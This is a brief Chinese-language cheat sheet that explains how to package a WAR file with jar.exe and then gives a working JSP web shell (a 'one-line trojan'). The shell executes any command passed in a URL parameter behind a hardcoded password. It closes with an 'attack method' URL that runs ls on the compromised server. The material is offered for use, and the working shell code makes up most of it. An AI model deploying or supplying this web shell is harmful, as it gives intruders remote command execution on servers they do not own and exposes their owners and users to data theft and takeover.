jar
使用场景
- 打war包
打个war包
2024-06-27更新
#windows电脑,有java,没jar命令,所以只能绝对路径
"C:\绝对路径\jar.exe" -cvf shell.war "shell.jsp"
jsp
- 用用就好,不用深学
写个一句话木马
2024-06-27更新
<%
if ("password".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>
攻击方法
浏览器输入 ip:port//shell/shell.jsp?pwd=password&cmd=ls,即可查看服务器文件信息